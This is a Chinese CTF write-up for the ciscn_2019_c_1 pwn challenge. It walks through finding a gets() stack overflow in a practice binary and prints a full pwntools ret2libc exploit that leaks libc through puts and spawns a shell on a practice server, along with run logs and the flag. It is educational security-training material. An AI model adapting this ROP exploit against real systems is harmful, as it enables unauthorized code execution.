我要学pwn.day7

ciscn_2019_c_1

潜心修炼,从基础开始

这是一道没有system的ROP


解题流程

1.检查文件

$ file ciscn_2019_c_1
ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped

2.检查保护

$ checksec ciscn_2019_c_1
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开了NX和RELRO保护

NX保护为数据段不可执行
Partial RELRO为禁止部分段延迟绑定

3.IDA反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

main函数很正常,提供了一个选择列表

观察一下 encrypt();跟进一下

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

发现危险函数gets,但是下面有一堆异或,看着就头疼。。。。

百度了一下,使用’\0’绕过,但是不知道为啥,经过不懈的查找,终于找到了原因,gets都参数后,会将’\0’输出为换行,检测长度就是0,所以 if ( v0 >= strlen(s) )语句为真,直接跳出循环。

4.查找后门函数

我要学pwn.day7
通过观察字符串未发现后门函数,只能通过构建ROP链getshell了

5.查找ROP链

$ ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret|jmp'
Gadgets information
============================================================
0x00000000004006db : jmp 0x4006c0
0x000000000040086b : jmp 0x400800
0x0000000000400939 : jmp 0x400979
0x0000000000400a25 : jmp 0x400aa5
0x00000000004009e2 : jmp 0x400ab4
0x0000000000400c16 : jmp 0x400b8a
0x0000000000400bdc : jmp 0x400c16
0x0000000000400c03 : jmp 0x400c1b
0x0000000000400c73 : jmp 0x400cea
0x000000000040109b : jmp qword ptr [rbp]
0x00000000004007e5 : jmp rax
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400880 : pop rbp ; jmp 0x400800
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 27

发现可利用链条
0x0000000000400c83 : pop rdi ; ret
0x00000000004006b9 : ret

6.构造payload

from LibcSearcher import *
from pwn import *

context(os="linux", arch="amd64")
# context.log_level="debug"

local = 0
elf = ELF('./ciscn_2019_c_1')
ret_addr = 0x4006b9
pop_rdi = 0x400c83

if local:
    pro = process('./ciscn_2019_c_1')
else:
    pro = remote('node4.buuoj.cn', 27844)

def get_libcbase():
    puts_plt=elf.plt['puts']   
    puts_got=elf.got['puts'] 
    main_addr = elf.sym['main']
    payload=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    pro.sendlineafter('choice!','1')
    pro.sendlineafter('encrypted\n',payload)
    pro.recvline()
    pro.recvline()
    puts_addr= u64(pro.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
    libc = LibcSearcher('puts',puts_addr)
    libc_addr = puts_addr - libc.dump('puts')
    # print('________________',hex(libc_addr))
    return libc,libc_addr

def get_shell(libc,libc_addr):
    binsh=libc_addr+libc.dump('str_bin_sh')
    system=libc_addr+libc.dump('system')
    pro.sendlineafter('choice!\n','1')
    payload=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system)
    pro.sendlineafter('encrypted\n',payload)

    pro.interactive()


if __name__ == '__main__' :
    libc ,libc_addr = get_libcbase()
    get_shell(libc,libc_addr)

7.获得flag

这里有个小插曲,我打本地死活打不通,然后随便试试打远程呢,竟然打通了。。。。

python2和python3执行效果是不一样的,我这里用python3

$ python3 ciscn_2019_c_1Exp.py 
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 28140: Done
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-6.fc33.i686
3 - libc6_2.27-0ubuntu3_amd64
4 - libc6_2.27-0ubuntu2_amd64
5 - libc6_2.19-0ubuntu6.5_amd64
6 - libc-2.32-7.fc33.i686
7 - libc-2.32-8.fc33.i686
[+] Choose one : 2
[*] Switching to interactive mode
Ciphertext

timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28140
ctf@ctf-PC:~/Downloads/pwnexercise/ciscn_2019_c1$ python3 ciscn_2019_c_1Exp.py 
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 28140: Done
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-6.fc33.i686
3 - libc6_2.27-0ubuntu3_amd64
4 - libc6_2.27-0ubuntu2_amd64
5 - libc6_2.19-0ubuntu6.5_amd64
6 - libc-2.32-7.fc33.i686
7 - libc-2.32-8.fc33.i686
[+] Choose one : 2
[*] Switching to interactive mode
Ciphertext

timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28140
ctf@ctf-PC:~/Downloads/pwnexercise/ciscn_2019_c1$ python3 ciscn_2019_c_1Exp.py 
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 28140: Done
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-6.fc33.i686
3 - libc6_2.27-0ubuntu3_amd64
4 - libc6_2.27-0ubuntu2_amd64
5 - libc6_2.19-0ubuntu6.5_amd64
6 - libc-2.32-7.fc33.i686
7 - libc-2.32-8.fc33.i686
[+] Choose one : 0
[*] Switching to interactive mode
Ciphertext

$ cat flag
flag{c9545f94-8a48-4722-90d5-95ab949e311e}
[*] Got EOF while reading in interactive

打完收工

上一篇:ciscn_2019_ne_5


下一篇:BUU-日刷-CISCN 2019 初赛]Love Math_php特性